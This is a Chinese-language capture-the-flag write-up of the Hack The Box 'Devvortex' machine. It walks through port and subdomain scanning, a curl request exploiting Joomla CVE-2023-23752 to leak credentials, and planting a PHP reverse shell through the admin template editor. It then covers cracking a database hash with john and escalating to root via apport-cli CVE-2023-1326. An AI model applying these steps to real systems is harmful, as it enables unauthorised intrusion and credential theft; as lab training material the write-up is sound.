信息收集
开放端口扫描
nmap --min-rate 10000 -p- -oA tcp_open_port 10.10.11.242
Not shown: 64591 closed tcp ports (reset), 942 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
探测开放端口服务信息
# Nmap 7.93 scan initiated Tue Dec 5 10:22:21 2023 as: nmap -sT -sV -O -p22,80, -oA open_port_service 10.10.11.242
Nmap scan report for devvortex.htb (10.10.11.242)
Host is up (0.33s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 5 10:22:39 2023 -- 1 IP address (1 host up) scanned in 19.06 seconds
知道开放了22和80端口,优先对80端口进行测试。
Getshell
浏览器输入靶机ip10.10.11.242后,直接跳转到http://devvortex.htb/页面,先将devvortex.htb域名添加到/etc/hosts文件中。
手动探测首页后缀为html,没有robots.txt文件。仅有contact us可能存在与后端交互,尝试存储型xss,无果。
查看javascript也没其他信息。
目录爆破
sudo gobuster dir -u http://devvortex.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -o web_scan_raft-small.txt
/images (Status: 301) [Size: 178] [--> http://devvortex.htb/images/]
/js (Status: 301) [Size: 178] [--> http://devvortex.htb/js/]
/css (Status: 301) [Size: 178] [--> http://devvortex.htb/css/]
没有感兴趣的目录。
子域名爆破
wfuzz -H "Host: FUZZ.devvortex.htb" -u http://devvortex.htb -w /usr/share/seclists/Discovery/DNS/deepmagic.com-prefixes-top50000.txt
000000007: 302 7 L 10 W 154 Ch "rev"
将新域名dev.devvortex.htb加到/etc/hosts文件中。
dev.devvortex.htb
浏览器打开dev.devvortex.htb,发现存在robots.txt文件,看信息为Joomla CMS。
遇到大型CMS一般是找nday或者目录爆破看是否有敏感信息泄露,先找是否有对应的扫描器。
geogle搜索joomla scanner github,出来joomscan,按照指导克隆到本地进行使用:
perl /opt/joomscan/joomscan.pl -u http://dev.devvortex.htb
探测出版本:Joomla 4.2.6
geogle搜索Joomla 4.2.6,发现CVE-2023-23752,可以绕过安全限制获取到敏感信息,具体利用参考:Joomla未授权访问漏洞(CVE-2023-23752) - FreeBuf网络安全行业门户
kali命令行执行:
curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true|jq .
发现一组凭据lewis/P4ntherg0t1n5r3c0n##
尝试ssh连接,失败。
robots.txt中有administrator目录,访问http://dev.devvortex.htb/administrator页面,使用刚刚得到的凭据进行登录,成功!
像大型的CMS一般都有可以修改代码的地方,仔细找找或找不出来可以geogle搜索;这个靶机在system处有可以修改的模板:
将kali自带的php反弹shell脚本/usr/share/webshells/php/php-reverse-shell.php修改ip,端口,然后将error.php覆盖,保存并关闭。
kali监听,sudo rlwrap -lnvp 9001;根据页面提供的路径
访问修改后的文件,kali收到反弹shell!
提权
利用python提升shell的交互性:
python3 -c 'import pty;pty.spawn("/bin/bash")
搭建JOOMAL CMS需要数据库服务,利用得到的凭据登录数据库看能否获得敏感信息
mysql -ulewis -p -h 127.0.0.1
输入密码
然后查看枚举数据库,枚举用户表,得到另一个用户名和密码hash
将密码hash复制保存到文件中,利用john进行破解。
john --wordlist=/usr/share/wordlist/rockyou.txt hash
得到密码tequieromucho。
使用ssh进行连接,成功!
logan用户执行sudo -l:
sudo /usr/bin/apport-cli -v 显示版本为2.20.11
浏览器搜索apport-cli exploit。
出来CVE-2023-1326,受影响版本为2.26.0及之前,靶机版本在其范围内;很多介绍最后都提供有POC的链接:
fix: Do not run sensible-pager as root if using sudo/pkexec · canonical/apport@e5f78cc · GitHub
点进去看具体信息,关键的步骤:
根据POC,先找到.crash文件,然后执行命令
拿下!